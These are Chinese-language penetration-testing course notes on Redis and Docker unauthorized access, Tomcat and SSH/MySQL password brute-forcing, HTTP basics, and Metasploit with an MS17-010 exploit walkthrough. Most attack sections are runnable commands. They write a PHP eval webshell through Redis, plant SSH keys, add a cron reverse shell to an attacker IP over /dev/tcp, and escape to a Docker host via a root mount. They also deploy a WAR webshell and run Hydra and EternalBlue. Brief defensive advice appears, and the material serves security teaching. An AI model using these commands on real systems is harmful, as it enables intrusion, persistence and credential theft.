通过本课的学习，你应该对这两种常见且危险的Java反序列化漏洞有了基本的认识，并掌握了从信息收集、漏洞识别到验证利用的基本流程。

网络安全课程 P47：第11天 - Redis未授权访问漏洞详解 🛡️

在本节课中，我们将学习一种在实战和各类组件中都极为常见的漏洞类型——未授权访问。我们将以Redis数据库为例，深入理解其原理、危害和利用方法，并掌握如何通过此漏洞获取目标系统的控制权。

概述：什么是未授权访问？

未授权访问漏洞是指，一个本应需要身份验证（如用户名和密码）才能访问的资源（如网站后台、服务接口），由于配置或开发缺陷，导致攻击者无需任何凭据即可直接访问或绕过验证机制。

造成此漏洞的原因主要有两种：

  1. 开发缺陷：例如，认证逻辑仅在前端JavaScript中实现，攻击者可通过修改请求等方式绕过。
  2. 运维配置不当：服务在部署时未正确配置访问控制。本节课将重点讲解的Redis未授权访问就属于此类，它非常普遍且常与其他漏洞组合利用，最终获得目标系统的命令执行权限。

常见的未授权访问目标

未授权访问可能出现在多种类型的软件中，主要可分为以下几类：

  • 服务：如MySQL、Apache、远程桌面（RDP）。
  • 开发框架/组件：如ThinkPHP、Java的Spring、Struts2。
  • 内容管理系统（CMS）：如WordPress，这类系统允许用户无需编码即可搭建网站。

由于此类目标众多，本节课我们将选取两个最典型、最常遇到的例子进行讲解：Redis和Docker。

第一部分：Redis未授权访问 🗄️

上一节我们介绍了未授权访问的基本概念和常见目标。本节中，我们来看看第一个典型案例——Redis。

Redis简介

Redis是一款开源的、基于内存的键值对（Key-Value）数据库。它与MySQL、Oracle等传统关系型数据库不同，数据主要存储在内存中，因此读写速度极快，常用于缓存、计数器、实时排行榜等场景。

关键信息：

  • 默认监听端口：6379
  • 默认配置：无密码认证
  • 数据模型：键值对，例如 set name “zhangsan”（设置键name的值为zhangsan），get name（获取键name的值）。

漏洞成因

Redis在设计上默认只监听本地地址（127.0.0.1:6379），且没有密码。这在本机环境下是安全的。然而，当业务需要（如搭建Redis集群）时，开发或运维人员可能会搜索教程，将其配置为允许远程连接（如绑定到0.0.0.0:6379）。如果此时仍未设置密码，那么任何能访问到该服务器IP和6379端口的用户，都可以直接连接并操作Redis数据库，这就造成了未授权访问。

环境探测与连接

在攻击中，我们首先需要发现目标是否开启了Redis服务。

探测命令：
使用nmap扫描目标IP的6379端口。

nmap -sT -T4 -p 6379 10.1.1.200

如果端口状态显示为open，则表明Redis服务正在运行。

连接Redis：
确认服务存在后，使用Redis客户端redis-cli进行连接。

redis-cli -h 10.1.1.200 -p 6379

连接成功后，可以执行info命令来验证是否拥有权限。如果能够返回Redis的版本、系统信息等详细数据，则确认存在未授权访问漏洞。

漏洞利用：写入WebShell

获得Redis控制权后，我们可以利用其数据持久化功能，将恶意代码写入目标服务器的网站目录，从而获得一个WebShell（网站后门）。

利用条件：

  1. 目标服务器同时运行着Web服务（如Apache、Nginx）。
  2. 我们知道Web网站的根目录路径（可通过信息收集或猜测获得，常见如/var/www/html）。

利用步骤：
以下是核心的操作命令序列：

# 1. 配置Redis持久化文件保存路径为Web根目录
config set dir /var/www/html

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/d2f8f7c6232fe556e91aa6b941c9e09f_13.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/d2f8f7c6232fe556e91aa6b941c9e09f_15.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/d2f8f7c6232fe556e91aa6b941c9e09f_17.png)

# 2. 配置持久化文件名（即我们要生成的WebShell文件名）
config set dbfilename shell.php

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/d2f8f7c6232fe556e91aa6b941c9e09f_19.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/d2f8f7c6232fe556e91aa6b941c9e09f_21.png)

# 3. 写入一个键值对，值为PHP一句话木马
set x “<?php @eval($_POST[‘cmd’]);?>”

# 4. 执行保存，将内存中的数据（包括我们的木马）写入指定文件
save

原理说明：Redis的save命令会将当前数据库保存到硬盘。我们通过config set指令“欺骗”Redis，让它把数据保存到网站目录下的一个PHP文件中。我们写入的“值”是一段特殊的PHP代码（一句话木马），它允许攻击者通过HTTP POST请求传递并执行任意系统命令。

连接WebShell：
文件写入成功后，访问 http://10.1.1.200/shell.php。使用中国菜刀、蚁剑（AntSword）等WebShell管理工具，填写该URL和连接密码（即上面代码中的cmd），即可成功连接。在工具中，我们可以执行命令、浏览文件、上传下载数据，完全控制该网站服务器。

其他利用方式

如果目标服务器没有Web服务，我们还可以尝试其他方法。

写入SSH公钥：
如果目标服务器开启了SSH服务（端口22），并且Redis以root等高权限用户运行，我们可以将攻击者的SSH公钥写入目标服务器的~/.ssh/authorized_keys文件，从而实现无需密码的SSH登录。

# 在攻击机生成密钥对（如果已有可跳过）
ssh-keygen -t rsa

# 将公钥写入一个文本文件，并作为值存入Redis
(echo -e “\n\n”; cat ~/.ssh/id_rsa.pub; echo -e “\n\n”) > pub.txt
cat pub.txt | redis-cli -h 10.1.1.200 -p 6379 -x set ssh_key

# 配置Redis保存路径为用户SSH目录，并保存
redis-cli -h 10.1.1.200 -p 6379 config set dir /root/.ssh/
redis-cli -h 10.1.1.200 -p 6379 config set dbfilename authorized_keys
redis-cli -h 10.1.1.200 -p 6379 save

之后，即可使用 ssh -i id_rsa root@10.1.1.200 直接登录。

写入定时任务（Cron）反弹Shell：
通过向系统的定时任务文件（如/var/spool/cron/root）写入任务，让系统在特定时间执行我们的命令，例如反弹一个Shell回连到攻击机。

# 配置Redis保存路径为定时任务目录
config set dir /var/spool/cron/

# 设置文件名（通常是用户名，如root）
config set dbfilename root

# 写入反弹Shell的命令（每分钟执行一次，连接到攻击机10.1.1.100的4433端口）
set y “\n* * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n”

# 保存
save

同时，在攻击机上使用nc监听4433端口：nc -lvp 4433。等待一分钟后，即可在攻击机获得目标服务器的Shell会话。

第二部分：Docker未授权访问 🐳

讲完了Redis的利用，我们来看另一个常见的未授权访问案例——Docker。

Docker简介

Docker是一种容器化平台，可以将应用及其依赖打包成一个标准化的单元（容器），用于快速部署和运行。Docker守护进程（Docker Daemon）默认监听在/var/run/docker.sock这个Unix套接字文件上，但有时也会配置为监听TCP端口（如2375）以提供远程API。

漏洞成因

当Docker守护进程被配置为监听在0.0.0.0:2375，且未设置任何访问控制（如TLS证书认证）时，就产生了未授权访问漏洞。攻击者可以直接调用Docker Remote API来管理容器。

漏洞探测与利用

探测命令：
使用nmap扫描2375端口，或直接访问API端点。

nmap -sT -T4 -p 2375 10.1.1.201
# 或
curl http://10.1.1.201:2375/version

如果返回了Docker的版本信息JSON，则证明存在未授权访问。

利用方式：
攻击者可以通过API创建并运行一个容器，并将宿主机的敏感目录（如/根目录）挂载到容器内部，从而在容器内直接读写宿主机文件，实现逃逸。

利用步骤示例：

  1. 查看已有镜像：curl http://10.1.1.201:2375/images/json
  2. 创建并运行一个特权容器，将宿主机根目录挂载到容器的/host路径：
    # 这是一个通过Docker API发送的HTTP请求示例，实际可使用docker客户端或脚本
# 原理是使用`-v /:/host`参数挂载根目录，并让容器执行`chroot /host`切换到宿主机文件系统
    更简单的做法是直接使用docker客户端（如果已安装）连接远程目标：
    export DOCKER_HOST=“tcp://10.1.1.201:2375”
docker run -it -v /:/host ubuntu /bin/bash
    执行以上命令后，你将会进入一个Ubuntu容器，在容器内执行chroot /host，即可获得一个相当于在宿主机上执行的Shell环境，从而完全控制宿主机。

总结与防御建议 🔒

本节课中我们一起学习了未授权访问漏洞，并以Redis和Docker为例进行了深入剖析。

核心要点总结：

  1. 未授权访问本质是权限绕过，因配置疏忽或开发缺陷导致。
  2. Redis未授权：利用config set和save命令，可写入WebShell、SSH公钥或定时任务，进而获取系统权限。
  3. Docker未授权：通过暴露的Docker Remote API，可创建特权容器并挂载宿主机目录，实现容器逃逸和宿主机控制。

防御建议：

  • 最小化暴露：非必要不将服务（Redis, Docker等）绑定到公网IP（0.0.0.0）。如需远程访问，使用SSH隧道等安全方式。
  • 强制认证：为Redis设置强密码（requirepass配置项）。为Docker Remote API配置TLS客户端证书认证。
  • 网络隔离：使用防火墙（iptables, firewalld）或安全组策略，限制服务端口的访问来源IP，仅允许可信地址访问。
  • 权限最小化：运行服务时使用低权限用户，避免使用root。这样即使被入侵，攻击者获得的权限也有限。
  • 定期更新与审计：保持服务版本更新，定期进行安全配置检查和漏洞扫描。

希望本教程能帮助你理解未授权访问漏洞的原理与危害，并在实践中建立牢固的安全防护意识。

课程P48：第12天 - 后台密码穷举与Tomcat密码破解 🔐

在本节课中，我们将学习暴力破解的基本概念、应用场景，并重点演示如何使用Burp Suite工具破解Tomcat后台的登录密码，最终实现Webshell的部署。

暴力破解介绍与应用场景 💥

上一节我们概述了课程内容，本节中我们来看看暴力破解的具体定义和常见的使用场合。

暴力破解指的是通过枚举的方式尝试猜测用户认证信息。其具体流程是使用预先收集好的字典文件，对目标进行持续不断的登录尝试，直到成功匹配正确的凭证。

暴力破解通常用于枚举以下信息：

  • 弱口令
  • 验证码
  • 他人上传的Webshell信息

以下是常用字典的获取途径：

  • 在GitHub等平台搜索“password dictionary”、“top passwords”等关键词。
  • 使用脚本根据特定规则（如关键词、生日）生成相关口令字典。
  • 使用收集了历年常见弱口令、服务器密码、后台密码、数据库密码的综合字典。

弱口令是指仅包含简单数字或字母的口令，例如 123456、password、admin 或单个英文单词。这类口令极易被破解，如同将家门钥匙放在门口的垫子上，会严重威胁账户、网站及个人信息安全。统计显示，123456 常年位居最常用弱口令榜首。

接下来，我们了解一下常见的密码破解工具。

以下是几款主流的密码破解工具：

  • Burp Suite Intruder模块：我们在之前课程中介绍过的Web渗透测试工具，其Intruder模块专门用于自动化攻击和爆破。
  • SNETCracker：一款集成了多种协议爆破功能的工具，支持SSH、MySQL等。
  • Metasploit框架：包含多种爆破模块或插件。
  • 各类自定义脚本：例如用于破解Wi-Fi、SSH、VNC、压缩包密码的脚本。

暴力破解的成功率很大程度上取决于字典的强度。如果字典中包含正确的密码，理论上就可以破解成功。

那么，暴力破解一般适用于哪些场景呢？

以下是暴力破解的典型应用场景：

  1. 爆破验证码：当网站登录的验证码没有时间或次数限制时。
  2. 爆破无验证码的后台：许多后台管理系统为了管理方便，可能不设置验证码。
  3. 爆破各种应用管理界面：例如phpMyAdmin（数据库Web管理工具）、Tomcat（中间件）、MySQL数据库等。
  4. 爆破各种协议：例如FTP、SSH（用于远程登录Linux服务器）、RDP（远程桌面协议）等。

使用Burp Suite破解Tomcat后台 🔧

上一节我们介绍了暴力破解的理论知识，本节中我们来看看如何将其应用于实践，破解一个Tomcat后台。

首先，我们访问一个搭建好的Tomcat环境。其默认管理后台路径通常为 /manager/html。访问该路径会弹出一个需要用户名和密码的HTTP基本认证对话框。

我们没有正确的账号密码，因此需要进行爆破。在爆破之前，需要分析其认证数据的构成。我们尝试输入错误的用户名（test）和密码（test）并抓包。

在Burp Suite中查看抓到的请求包，会发现请求头中包含一个 Authorization 字段，其值形如 Basic dGVzdDp0ZXN0。这一长串字符是经过Base64编码的。

我们将这串字符发送到Burp Suite的Decoder模块进行Base64解码。解码后的格式为 username:password，例如 test:test。由此可知，Tomcat的HTTP基本认证是将“用户名:密码”的字符串进行Base64编码后传输的。

了解了加密方式后，我们就可以开始构造攻击。首先，将抓到的登录请求包发送到Intruder模块。

在Intruder模块的Positions标签页，清除默认的标记，只在我们需要爆破的Base64编码字符串部分（即 dGVzdDp0ZXN0）添加标记 §。

接下来，进入Payloads标签页配置字典。由于密码格式是“用户名:密码”的Base64编码，我们需要使用“自定义迭代器”（Custom iterator）来组合用户名和密码。

以下是配置自定义迭代器的步骤：

  1. 在Payload Sets中选择“Custom iterator”。
  2. 在Payload Options中，Position 1设置用户名列表（如：admin, root, tomcat）。
  3. Position 2设置一个静态的冒号 :。
  4. Position 3设置密码列表（如：123456, password, tomcat）。
  5. 进入Payload Processing，添加一个“Encode”规则，选择“Base64-encode”。同时，取消勾选“URL-encode these characters”，以防止冒号等特殊字符被额外编码。

配置完成后，点击“Start attack”开始爆破。爆破完成后，我们需要筛选结果。

通常，登录成功和失败的HTTP状态码或响应长度会不同。我们可以通过以下方式筛选：

  • 按状态码筛选：成功登录可能返回200状态码，而认证失败通常返回401。
  • 按响应长度筛选：成功登录后的页面内容与失败页面通常长度差异显著。

通过筛选，我们找到了一个状态码为200、长度与众不同的请求。查看其Payload，即Base64编码后的字符串。将其解码后，我们得到了正确的用户名和密码组合，例如 tomcat:tomcat。

注意：Tomcat 6及以上版本引入了防爆破锁定机制。如果短时间内失败尝试过多，无论密码是否正确，都可能无法登录，需要等待一段时间（如30分钟）才能解锁。因此，在实际测试中，可先手动尝试常见默认口令（如tomcat/tomcat, admin/admin）。

部署Webshell获取控制权 🚀

上一节我们成功破解了Tomcat后台的密码，本节中我们来看看如何利用这个权限部署Webshell，从而获取服务器控制权。

Webshell 是一个Web应用程序，它包含了网站的所有代码。当开发人员将网站打包成 .war 文件（Web Application Archive）并部署到Tomcat的 webapps 目录下时，Tomcat会自动解压并运行它。我们可以通过上传一个恶意的WAR包来部署Webshell。

首先，我们需要一个JSP格式的Webshell文件（因为Tomcat是Java容器）。然后，使用jar命令将其打包成WAR文件。

打包命令格式为：

jar -cvf webshell.war webshell.jsp

打包完成后，在Tomcat管理后台（/manager/html）找到“WAR file to deploy”区域，选择我们生成的WAR文件并部署。

部署成功后，我们的Webshell访问路径为：http://target.com/webshell/webshell.jsp。访问该URL，输入Webshell中预设的密码（例如111），即可进入管理界面。

在Webshell中，我们可以执行系统命令、管理文件等。例如，可以执行 ls 命令列出目录文件，或执行 cat /etc/passwd 命令查看系统密码文件。

其他工具介绍：SNETCracker 🛠️

除了Burp Suite，我们再简单介绍另一款工具SNETCracker（超级弱口令检查工具）。这款工具图形化界面友好，内置大量字典，支持爆破多种协议和服务。

其使用方法非常简单：

  1. 在“目标地址”输入IP。
  2. 在“检测类型”选择要爆破的服务（如MySQL）。
  3. 导入或使用内置的用户名和密码字典。
  4. 点击“开始检测”即可。

工具会快速尝试并列出成功的用户名、密码及服务版本信息。

课程总结 📚

本节课中我们一起学习了网络安全中常见的攻击手法——暴力破解。

  • 我们首先了解了暴力破解的原理、常用工具和应用场景。
  • 接着，我们深入演示了如何使用Burp Suite对Tomcat后台进行密码穷举，详细讲解了从抓包分析、构造Payload到结果筛选的完整流程。
  • 在获取后台权限后，我们学习了如何将JSP Webshell打包成WAR文件并部署，从而获得服务器的命令执行能力。
  • 最后，我们简要介绍了另一款高效的弱口令检查工具SNETCracker。

通过本课的学习，你应该能够理解暴力破解的运作机制，并掌握对类似认证系统进行安全测试的基本方法。请务必在合法授权的环境中使用这些技术。

网络安全就业推荐 P49：第13天：SSH与MySQL密码破解 🔐

在本节课中，我们将学习两种重要的密码破解技术：SSH远程登录密码破解和MySQL数据库密码破解。我们将介绍两款强大的工具——Hydra（九头蛇）和Metasploit框架中的扫描模块，并通过实际操作演示如何利用它们进行安全测试。

工具介绍：Hydra与Metasploit

上一节我们提到了信息收集和端口扫描，本节中我们来看看如何利用收集到的信息进行密码破解。首先，我们将介绍两款核心工具。

Hydra（九头蛇）是一款开源的暴力破解工具，支持对FTP、MySQL、SSH等多种服务进行密码破解。该工具已内置在Kali Linux系统中，可以直接使用。

Metasploit是一个功能强大的渗透测试框架，内置了众多模块，其中包含用于扫描和破解的模块（如auxiliary/scanner/ssh/ssh_login）。我们将在后续课程中深入讲解这个框架。

以下是Hydra工具的常用参数介绍：

  • -l： 指定单个用户名。
  • -L： 指定用户名字典文件。
  • -p： 指定单个密码。
  • -P： 指定密码字典文件。
  • -t： 指定任务线程数。
  • -f： 在找到第一对正确的用户名和密码后停止。
  • -M： 指定目标主机列表文件（用于批量破解）。

实战一：使用Hydra破解SSH密码

了解了工具的基本参数后，本节我们来看看如何具体操作。假设通过信息收集（如Nmap扫描），我们发现目标主机 192.168.83.33 开放了22端口（SSH服务默认端口）。

我们可以使用Hydra对其进行密码爆破。Kali Linux系统内置了字典文件，通常位于 /usr/share/wordlists/ 目录下。

以下是破解SSH密码的命令示例：

hydra -L /root/pass/username.txt -P /root/pass/password.txt 192.168.83.33 ssh -f
  • -L /root/pass/username.txt： 指定用户名字典路径。
  • -P /root/pass/password.txt： 指定密码字典路径。
  • 192.168.83.33 ssh： 指定目标IP和服务类型。
  • -f： 成功破解一对后即停止。

执行命令后，如果破解成功，Hydra会输出正确的用户名和密码（例如：root:password123）。随后，我们可以使用该凭证进行SSH登录验证：

ssh root@192.168.83.33

实战二：使用Hydra破解MySQL密码

接下来，我们看看如何破解MySQL数据库密码。假设我们发现目标主机 192.168.83.29 开放了3306端口（MySQL服务默认端口）。

破解MySQL密码的命令与SSH类似，只需更改服务类型：

hydra -L /root/pass/username.txt -P /root/pass/password.txt 192.168.83.29 mysql -f

破解成功后，会得到类似 test:root 的用户名和密码。我们可以使用MySQL客户端工具（如mysql命令或图形化工具）进行连接验证：

mysql -h 192.168.83.29 -u test -p

输入密码后，即可进入数据库进行操作。

进阶：使用Metasploit框架进行破解

除了Hydra，我们还可以使用更强大的Metasploit框架进行密码破解。本节中我们以破解SSH密码为例。

首先，启动Metasploit控制台：

msfconsole

等待框架初始化完成后，搜索并选用SSH登录爆破模块：

search ssh_login
use auxiliary/scanner/ssh/ssh_login

使用show options命令查看需要设置的参数。然后，设置目标主机、用户名字典和密码字典：

set RHOSTS 192.168.83.33
set USER_FILE /root/pass/username.txt
set PASS_FILE /root/pass/password.txt

最后，运行模块开始破解：

run

如果破解成功，模块可能会返回一个Shell会话。我们可以使用sessions命令查看会话列表，并使用sessions -i [会话ID]命令与之交互，从而获得一个Metasploit的Meterpreter Shell，便于后续的深入利用。

总结与回顾

本节课中我们一起学习了SSH和MySQL密码的破解技术。我们掌握了两款主要工具的使用方法：

  1. Hydra（九头蛇）： 一款快速、灵活的暴力破解工具，适用于多种网络服务。
  2. Metasploit框架： 一个集成的渗透测试平台，其扫描模块功能强大，并能与后续的利用模块衔接。

核心操作流程可以归纳为：信息收集（发现开放端口） -> 选择工具和字典 -> 执行破解命令 -> 验证并使用获取的凭证。请务必在授权许可的环境中进行练习，严格遵守法律法规。

🛡️ 课程P5：第3天 - HTTP/HTTPS协议与Cookie/Session基础

在本节课中，我们将要学习网络安全的基础知识，核心内容包括HTTP/HTTPS协议的工作原理、Cookie与Session机制，以及如何通过Burp Suite等工具进行实践操作。课程内容力求简单直白，让初学者能够轻松理解。

📖 概述：HTTP协议简介

HTTP，全称超文本传输协议，是一种用于分布式、协作式和超媒体信息系统的应用层协议。它是一种基于请求与响应、无状态的协议，主要用于发布和接收HTML页面。我们日常浏览网页，就是通过HTTP协议发送请求并接收服务器返回的页面内容。

HTTP基于TCP/IP协议传输数据。其设计初衷是为了提供一种发布和接收HTML页面的方法。

HTTP发展历史

HTTP的发展经历了多个版本。目前最常见的是HTTP/1.1版本，而HTTP/2.0版本也逐渐普及。了解其历史有助于理解协议的演进。

HTTP工作流程

HTTP的工作流程可以概括为以下几个步骤：

  1. 建立连接：客户端通过TCP三次握手与服务器建立连接。
  2. 发送请求：客户端向服务器发送HTTP请求报文。
  3. 处理与响应：服务器处理请求，并向客户端返回HTTP响应报文。
  4. 断开连接：数据传输完毕后，客户端通过TCP四次挥手与服务器断开连接。

关于TCP三次握手和四次挥手的细节属于网络基础协议知识，本课程不做深入展开。

HTTP特性：持续连接机制

在HTTP/0.9和1.0版本中，每次请求/响应后TCP连接就会关闭。HTTP/1.1引入了持续连接（Keep-Alive）机制，允许在同一个TCP连接上发送和接收多个HTTP请求/响应，从而减少了因重复建立连接而产生的等待时间，提升了效率。

🔗 统一资源定位符（URL）

URL，即我们常说的网址，用于定位互联网上的资源。一个完整的URL包含以下几个部分：

以下是URL的组成部分：

  • 协议方案名：如 http://, https://, ftp://。
  • 登录信息（可选）：认证信息，格式为 username:password@，不常见。
  • 服务器地址：域名或IP地址，如 www.example.com。
  • 端口号（可选）：Web服务默认端口是80（HTTP）或443（HTTPS），若使用默认端口可省略。
  • 文件路径：服务器上资源的具体路径，如 /path/to/file.html。
  • 查询字符串（可选）：以 ? 开头，传递参数，格式为 key1=value1&key2=value2。
  • 片段标识符（可选）：以 # 开头，用于定位页面内的特定片段。

示例：
http://www.example.com:8080/path/index.html?name=value#section

URL vs URI

URI是统一资源标识符，是一个更广泛的概念。URL是URI的一个子集，URI还包括URN（统一资源名称）等其他形式。简单理解，我们常说的网址就是URL，而HTTP协议使用URI来传输数据和建立连接。

📨 HTTP请求报文详解

客户端向服务器发送的信息称为HTTP请求报文。它由四个部分组成：

以下是请求报文的构成：

  1. 请求行：包含请求方法、请求的URI和HTTP协议版本。格式为：METHOD Request-URI HTTP-Version。
  2. 请求头部：包含关于客户端环境和请求正文的有用信息，由多个 Header: Value 对组成。
  3. 空行：表示请求头部结束，请求正文开始。
  4. 请求数据（正文）：可选部分，例如在POST方法中提交的表单数据。

请求方法（Method）

常见的HTTP请求方法包括：

  • GET：请求指定的资源。
  • POST：向指定资源提交数据（例如提交表单或上传文件）。
  • HEAD：与GET类似，但只返回响应头部，不返回响应体。
  • PUT：将请求正文的内容存储到指定的URI下。
  • DELETE：请求服务器删除指定的资源。
  • OPTIONS：查询服务器支持的请求方法。
  • TRACE：回显服务器收到的请求，主要用于测试或诊断。

请求头部字段示例

请求头部字段众多，以下是一些常见字段：

  • Host：指定请求的服务器的域名和端口号。
  • User-Agent：包含发出请求的用户代理（浏览器）信息。
  • Content-Type：指示请求正文的媒体类型（如 application/x-www-form-urlencoded）。
  • Content-Length：请求正文的长度（字节数）。
  • Cookie：将之前服务器发送的Cookie信息回传给服务器。
  • Referer：表示当前请求是从哪个页面链接过来的。

📤 HTTP响应报文详解

服务器返回给客户端的信息称为HTTP响应报文。其结构与请求报文类似：

以下是响应报文的构成：

  1. 状态行：包含HTTP协议版本、状态码和状态描述。格式为：HTTP-Version Status-Code Reason-Phrase。
  2. 响应头部：包含关于服务器的信息和对响应正文的描述。
  3. 空行：表示响应头部结束。
  4. 响应数据（正文）：服务器返回的实际内容，如HTML页面、图片等。

状态码（Status Code）

状态码由三位数字组成，第一位定义了响应的类别：

  • 1xx：信息性状态码，表示请求已被接收，继续处理。
  • 2xx：成功状态码，表示请求已成功被服务器接收、理解、并接受。例如：200 OK。
  • 3xx：重定向状态码，表示需要客户端采取进一步的操作以完成请求。例如：302 Found（临时重定向）。
  • 4xx：客户端错误状态码，表示请求包含语法错误或无法完成。例如：404 Not Found。
  • 5xx：服务器错误状态码，表示服务器在处理请求的过程中发生了错误。例如：500 Internal Server Error。

响应头部字段示例

响应头部同样包含许多字段：

  • Server：服务器软件名称和版本。
  • Content-Type：响应正文的媒体类型（如 text/html; charset=utf-8）。
  • Content-Length：响应正文的长度。
  • Set-Cookie：服务器向客户端设置Cookie。

🔐 HTTPS协议简介

上一节我们介绍了HTTP协议，本节我们来看看它的安全版本——HTTPS。

HTTPS是HTTP的安全版，全称为HTTP over SSL/TLS。它在HTTP之下加入了SSL/TLS协议层，提供了数据加密、完整性校验和身份认证的功能，能有效保护数据传输的隐私和安全。

简单来说，HTTPS = HTTP + 加密 + 认证 + 完整性保护。它使用默认端口443。

🍪 Cookie与Session机制

HTTP是无状态协议，这意味着服务器不会记住之前的请求。为了支持需要状态的功能（如用户登录、购物车），引入了Cookie和Session。

Cookie是服务器发送到用户浏览器并保存在本地的一小块数据。浏览器会存储它，并在后续向同一服务器发起的请求中携带该Cookie。

以下是Cookie的工作原理：

  1. 客户端首次访问网站。
  2. 服务器在响应中通过 Set-Cookie 头部字段发送Cookie信息。
  3. 浏览器保存此Cookie。
  4. 之后客户端向同一服务器发起请求时，会自动在请求头部通过 Cookie 字段将信息发送回服务器。
  5. 服务器通过读取Cookie来识别用户状态。

Cookie可分为：

  • 会话Cookie：存储在内存，浏览器关闭即失效。
  • 持久Cookie：存储在硬盘，有设定的过期时间。

Session

Session是另一种记录客户状态的机制，数据保存在服务器端。客户端访问时，服务器会为该客户端创建一个唯一的Session ID，并通过Cookie（或URL重写）将这个ID传递给客户端。客户端后续请求时带上这个ID，服务器就能找到对应的Session数据。

Cookie与Session的主要区别：

  • 存储位置：Cookie数据存放在客户端，Session数据存放在服务器端。
  • 安全性：Session相对更安全，因为敏感信息不存储在客户端。
  • 存储容量：Cookie有大小限制（约4KB），Session理论上只受服务器内存限制。

🛠️ 实践：使用Burp Suite分析HTTP请求

理论需要结合实践。我们可以使用Burp Suite工具来抓取和分析HTTP请求/响应。

以下是使用Burp Suite的基本步骤：

  1. 配置代理：在Burp Suite中设置代理（默认127.0.0.1:8080），并在浏览器中配置相同的代理设置。
  2. 拦截请求：打开Burp Suite的拦截功能，在浏览器中访问网页，请求会被Burp截获。
  3. 查看与重放：在 Proxy -> HTTP history 中查看历史请求。可以将请求发送到 Repeater 模块进行手动修改和重放测试。
  4. 分析不同方法：尝试修改请求方法（如GET改为POST、PUT等），观察服务器的不同响应。

示例：PUT方法上传Web Shell
如果服务器配置不当（允许PUT方法且未对上传文件做严格过滤），攻击者可能利用PUT请求直接上传恶意文件（如Web Shell木马），从而控制服务器。

防御建议：在生产环境中，应严格限制或禁用不必要的HTTP方法（如PUT、DELETE），并对文件上传功能进行严格的安全检查。

📝 总结

本节课中我们一起学习了网络安全的基础核心知识：

  1. HTTP/HTTPS协议：理解了HTTP的工作原理、请求/响应报文结构、状态码以及HTTPS提供的安全增强。
  2. URL的构成：学会了如何解读一个完整的网址。
  3. Cookie与Session：掌握了这两种用于维持HTTP状态的关键机制及其区别。
  4. 工具实践：初步了解了如何使用Burp Suite工具进行HTTP流量分析和安全测试。

掌握这些基础知识是进一步学习Web安全、漏洞挖掘和渗透测试的必经之路。希望大家通过课后练习和实验巩固所学内容。

课程P50：第14天：Metasploit渗透基础及实操 🔧

在本节课中，我们将要学习渗透测试框架Metasploit的基础知识，包括其目录结构、核心模块、基本操作流程，并通过经典的MS17-010（永恒之蓝）漏洞攻击实例，演示如何利用Metasploit获取目标主机的Meterpreter会话，并进行初步的后渗透操作。

概述 📖

Metasploit是一个高度模块化的开源渗透测试框架，它集成了大量已知漏洞的利用脚本（Exploit）、攻击载荷（Payload）以及辅助工具。使用Metasploit，测试者可以自动化执行复杂的攻击流程，例如漏洞扫描、利用、权限提升和持久化控制，而无需深入理解每个漏洞的底层细节或手动编写利用代码。本节课旨在帮助初学者理解Metasploit的基本架构和使用方法。

Metasploit简介与安装 🛠️

Metasploit（简称MSF）是最受欢迎的渗透测试工具之一。在Kali Linux中通常预装，其安装路径一般为 /usr/share/metasploit-framework/。

查看版本与更新：

msfconsole -v

若需更新，可先更新APT源，然后执行安装命令：

apt-get update
apt-get install metasploit-framework

也可以从GitHub官方仓库单独下载更新的模块文件，放入对应的 modules 目录。

目录结构解析 📁

了解Metasploit的目录结构有助于我们更好地使用它。核心目录如下：

以下是各主要目录及其功能的简要说明：

  • data: 存储二进制文件、可编辑文件等数据。
  • documentation: 存放框架的文档。
  • lib: 核心库文件。
  • plugins: 插件目录。
  • scripts: 脚本目录。
  • tools: 包含各种独立工具。
  • modules: 最重要的目录，包含所有功能模块。

核心模块目录（modules）

modules 目录下包含七个子目录，分别对应不同的功能：

以下是各模块类型的详细说明：

  • auxiliary（辅助模块）: 用于信息收集、漏洞扫描、密码爆破等辅助性任务。
  • exploits（漏洞利用模块）: 包含针对各种系统和应用漏洞的利用脚本。
  • payloads（攻击载荷模块）: 定义攻击成功后希望在目标系统执行的代码，如反弹Shell。
  • post（后渗透模块）: 在获取目标系统访问权限后，用于进行权限提升、内网探测、信息搜集等后续操作。
  • encoders（编码器模块）: 对Payload进行编码，以绕过杀毒软件（AV）或入侵检测系统（IDS）的检测。
  • nops（空指令模块）: 生成空指令（NOP sled），用于提高漏洞利用的稳定性。
  • evasion（规避模块）: 生成免杀（Antivirus Evasion）的Payload。

启动与基础操作 ⚙️

上一节我们介绍了Metasploit的目录结构，本节中我们来看看如何启动它并进行基础操作。

启动与数据库初始化：

# 初始化数据库（可选，但便于保存扫描结果）
msfdb init
# 启动MSF控制台
msfconsole

启动后，可以使用 db_status 命令检查数据库连接，使用 workspace 命令管理工作区。

信息收集示例：
在MSFconsole中，可以直接使用集成的Nmap进行扫描，结果会自动存入数据库。

db_nmap -sS 192.168.1.0/24

也可以使用辅助模块进行扫描，例如使用SYN半开扫描：

use auxiliary/scanner/portscan/syn
show options
set RHOSTS 192.168.1.100
set THREADS 20
run

实战：利用MS17-010漏洞攻击 🎯

我们以经典的“永恒之蓝”（MS17-010）漏洞为例，演示完整的Metasploit攻击流程。

第一步：搜索并检测漏洞

search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.2.131
run

如果目标存在漏洞，模块会提示 Host is likely VULNERABLE to MS17-010!。

第二步：选择利用模块并设置参数

use exploit/windows/smb/ms17_010_eternalblue
show options
# 设置目标IP
set RHOST 192.168.2.131
# 设置监听IP（攻击机IP）和端口
set LHOST 192.168.2.128
set LPORT 4444

第三步：执行攻击

exploit

攻击成功后，会得到一个 Meterpreter 会话。Meterpreter是一个功能强大的后渗透工具。

Meterpreter后渗透基础 🕵️♂️

成功获取Meterpreter会话是渗透测试的关键一步。在Meterpreter中，输入 ? 或 help 可以查看所有可用命令。

常用Meterpreter命令分类：

以下是部分核心功能的命令示例：

  • 会话管理: background（会话放到后台）， sessions -i <ID>（重新进入会话）。
  • 系统命令: sysinfo（查看系统信息）， getuid（查看当前用户权限）。
  • 文件系统: ls, cd, download, upload。
  • 权限提升: getsystem。
  • 网络命令: ipconfig, portfwd（端口转发）。
  • 摄像头/截屏: webcam_list, webcam_snap, screenshot。
